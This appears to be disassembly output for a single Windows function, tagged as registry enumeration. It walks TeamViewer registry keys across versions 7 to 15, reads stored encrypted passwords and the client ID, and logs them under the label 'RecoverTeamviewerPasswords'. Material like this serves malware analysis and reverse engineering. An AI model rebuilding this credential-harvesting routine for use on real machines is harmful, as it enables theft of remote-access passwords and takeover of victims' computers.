Function at 0x43a928
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3c3c
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 5
pop ecx
push 0x50
mov ebx, str.SOFTWARETeamViewer
lea eax, [ebp - 0xd38]
mov esi, ebx
lea edi, [ebp - 0xd4c]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00626f50
push 5
pop ecx
push 0x50
lea eax, [ebp - 0xcd4]
mov esi, ebx
lea edi, [ebp - 0xce8]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00626f50
push 6
pop ecx
mov ebx, str.SOFTWARETeamViewerTemp
lea edi, [ebp - 0xc84]
mov esi, ebx
lea eax, [ebp - 0xc6b]
rep movsd dword es:[edi], dword [esi]
push 0x4b
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.00626f50
push 6
pop ecx
mov esi, ebx
lea edi, [ebp - 0xc20]
rep movsd dword es:[edi], dword [esi]
push 0x4b
lea eax, [ebp - 0xc07]
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.00626f50
push 7
pop ecx
mov ebx, str.SOFTWARETeamViewerVersion15
lea edi, [ebp - 0xbbc]
mov esi, ebx
lea eax, [ebp - 0xb9e]
rep movsd dword es:[edi], dword [esi]
push 0x46
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
push 7
pop ecx
mov esi, ebx
lea edi, [ebp - 0xb58]
rep movsd dword es:[edi], dword [esi]
push 0x46
lea eax, [ebp - 0xb3a]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
add esp, 0x48
lea edi, [ebp - 0xaf4]
mov ebx, str.SOFTWARETeamViewerVersion14
lea eax, [ebp - 0xad6]
mov esi, ebx
push 7
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x46
push 0
movsw word es:[edi], word [esi]
push eax
call fcn.00626f50
push 7
pop ecx
mov esi, ebx
lea edi, [ebp - 0xa90]
rep movsd dword es:[edi], dword [esi]
push 0x46
lea eax, [ebp - 0xa72]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
push 7
pop ecx
mov ebx, str.SOFTWARETeamViewerVersion13
lea edi, [ebp - 0xa2c]
mov esi, ebx
lea eax, [ebp - 0xa0e]
rep movsd dword es:[edi], dword [esi]
push 0x46
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
push 7
pop ecx
mov esi, ebx
lea edi, [ebp - 0x9c8]
rep movsd dword es:[edi], dword [esi]
push 0x46
lea eax, [ebp - 0x9aa]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
push 7
pop ecx
mov ebx, str.SOFTWARETeamViewerVersion12
lea edi, [ebp - 0x964]
mov esi, ebx
lea eax, [ebp - 0x946]
rep movsd dword es:[edi], dword [esi]
push 0x46
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
push 7
pop ecx
mov esi, ebx
lea edi, [ebp - 0x900]
rep movsd dword es:[edi], dword [esi]
push 0x46
lea eax, [ebp - 0x8e2]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
add esp, 0x48
lea edi, [ebp - 0x89c]
mov ebx, str.SOFTWARETeamViewerVersion11
lea eax, [ebp - 0x87e]
mov esi, ebx
push 7
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x46
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
push 7
pop ecx
mov esi, ebx
lea edi, [ebp - 0x838]
rep movsd dword es:[edi], dword [esi]
push 0x46
push 0
lea eax, [ebp - 0x81a]
movsw word es:[edi], word [esi]
push eax
call fcn.00626f50
push 7
pop ecx
mov ebx, str.SOFTWARETeamViewerVersion10
lea edi, [ebp - 0x7d4]
mov esi, ebx
lea eax, [ebp - 0x7b6]
rep movsd dword es:[edi], dword [esi]
push 0x46
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
push 7
pop ecx
mov esi, ebx
lea edi, [ebp - 0x770]
rep movsd dword es:[edi], dword [esi]
push 0x46
lea eax, [ebp - 0x752]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
push 7
pop ecx
mov ebx, str.SOFTWARETeamViewerVersion9
lea edi, [ebp - 0x70c]
mov esi, ebx
lea eax, [ebp - 0x6ef]
rep movsd dword es:[edi], dword [esi]
push 0x47
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.00626f50
push 7
pop ecx
mov esi, ebx
lea edi, [ebp - 0x6a8]
rep movsd dword es:[edi], dword [esi]
push 0x47
lea eax, [ebp - 0x68b]
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.00626f50
add esp, 0x48
lea edi, [ebp - 0x644]
mov ebx, str.SOFTWARETeamViewerVersion8
lea eax, [ebp - 0x627]
mov esi, ebx
push 7
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x47
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.00626f50
push 7
pop ecx
mov esi, ebx
lea edi, [ebp - 0x5e0]
rep movsd dword es:[edi], dword [esi]
push 0x47
lea eax, [ebp - 0x5c3]
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.00626f50
push 7
pop ecx
mov ebx, str.SOFTWARETeamViewerVersion7
lea edi, [ebp - 0x57c]
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push 0x47
push 0
movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x55f]
push eax
call fcn.00626f50
push 7
pop ecx
mov esi, ebx
lea edi, [ebp - 0x518]
rep movsd dword es:[edi], dword [esi]
push 0x47
xor ebx, ebx
lea eax, [ebp - 0x4fb]
push ebx
push eax
movsb byte es:[edi], byte [esi]
call fcn.00626f50
mov esi, str.OptionsPasswordAES
lea edi, [ebp - 0x25c]
push 0x51
lea eax, [ebp - 0x249]
push ebx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00626f50
push 5
pop ecx
push 0x50
lea eax, [ebp - 0x1e4]
mov esi, str.SecurityPasswordAES
lea edi, [ebp - 0x1f8]
push ebx
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00626f50
add esp, 0x48
lea edi, [ebp - 0x194]
mov esi, str.SecurityPasswordExported
lea eax, [ebp - 0x17b]
push 6
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x4b
push ebx
push eax
movsb byte es:[edi], byte [esi]
call fcn.00626f50
mov esi, str.PermanentPassword
lea edi, [ebp - 0x130]
push 0x52
lea eax, [ebp - 0x11e]
push ebx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00626f50
mov esi, str.ServerPasswordAES
lea edi, [ebp - 0xcc]
push 0x52
lea eax, [ebp - 0xba]
push ebx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00626f50
mov esi, str.ProxyPasswordAES
lea edi, [ebp - 0x68]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x53
lea eax, [ebp - 0x57]
push ebx
push eax
call fcn.00626f50
mov esi, str.Options_Password
lea edi, [ebp - 0x4b4]
push 0x53
lea eax, [ebp - 0x4a3]
push ebx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.00626f50
push 5
pop ecx
push 0x50
mov ebx, str.Unattended_Password
lea eax, [ebp - 0x43c]
mov esi, ebx
lea edi, [ebp - 0x450]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00626f50
add esp, 0x48
lea edi, [ebp - 0x3ec]
mov esi, str.Exported_Unattended_Password
lea eax, [ebp - 0x3cf]
push 7
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x47
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.00626f50
push 5
pop ecx
mov esi, ebx
lea eax, [ebp - 0x374]
push 0x50
xor ebx, ebx
lea edi, [ebp - 0x388]
push ebx
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00626f50
push 6
pop ecx
push 0x4c
lea eax, [ebp - 0x30c]
mov esi, str.Backend_Server_Password
lea edi, [ebp - 0x324]
push ebx
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00626f50
push 5
pop ecx
mov esi, str.Proxy_Server_Password
lea edi, [ebp - 0x2c0]
rep movsd dword es:[edi], dword [esi]
push 0x4e
lea eax, [ebp - 0x2aa]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
push str.RecoverTeamviewerPasswords
push str._s_:_entered
call fcn.00449974
add esp, 0x38
lea edi, [ebp - 0xd4c]
test bl, 1
jne 0x43add6
cmp dword [0x716864], 0
je 0x43af74
mov esi, 0x20119
mov eax, str._s_:_Checking_reg_location__64_bit___s
jmp 0x43ade0
mov esi, 0x20019
mov eax, str._s_:_Checking_reg_location__32_bit___s
push edi
push str.RecoverTeamviewerPasswords
push eax
call fcn.00449974
add esp, 0xc
lea eax, [ebp - 0x3c38]
push eax
push esi
push 0
push edi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43af74
push edi
push str.RecoverTeamviewerPasswords
push str._s_:_Looking_for_all_passwords_values_in_teamviewer_key__s
call fcn.00449974
add esp, 0xc
xor esi, esi
lea ecx, [ebp - 0x3c30]
mov dword [ebp - 0x3c30], 0x2710
push ecx
lea ecx, [ebp - 0x3c2c]
push ecx
lea ecx, [ebp - 0x3c3c]
push ecx
lea eax, [ebp - 0x25c]
push 0
add eax, esi
push eax
push dword [ebp - 0x3c38]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x43af59
push dword [ebp - 0x3c30]
lea eax, [ebp - 0x25c]
add eax, esi
push eax
push str.RecoverTeamviewerPasswords
push str._s_:_Found_password_value_for__s__size_d_
call fcn.00449974
push 0x3e8
lea eax, [ebp - 0x151c]
push eax
push dword [ebp - 0x3c30]
lea eax, [ebp - 0x3c2c]
push eax
call fcn.0040dbfa
add esp, 0x20
test eax, eax
je 0x43af59
lea eax, [ebp - 0x3c30]
mov dword [ebp - 0x3c30], 4
push eax
lea eax, [ebp - 0x3c34]
xor ecx, ecx
push eax
lea eax, [ebp - 0x3c3c]
mov byte [ebp - 0x1134], cl
push eax
push ecx
push str.ClientID
push dword [ebp - 0x3c38]
mov dword [ebp - 0x3c34], ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x43af2a
push dword [ebp - 0x3c34]
push str.RecoverTeamviewerPasswords
push str._s_:_Found_client_id_value__d
call fcn.00449974
add esp, 0xc
cmp dword [ebp - 0x3c34], 0
je 0x43af2a
push dword [ebp - 0x3c34]
lea eax, [ebp - 0x1134]
push str.ID_u
push 0x3e8
push eax
call fcn.00445d6d
add esp, 0x10
push 0xffffffffffffffff
mov ecx, 0x66ae5d
lea eax, [ebp - 0x151c]
push ecx
push eax
lea eax, [ebp - 0x1134]
push eax
lea eax, [ebp - 0x4b4]
add eax, esi
push eax
push ecx
push 0x2da
push 7
call fcn.00412c85
add esp, 0x20
add esi, 0x64
cmp esi, 0x258
jb 0x43ae22
push dword [ebp - 0x3c38]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc ebx
add edi, 0x64
cmp ebx, 0x16
jb 0x43adb8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.005fe955
leave
ret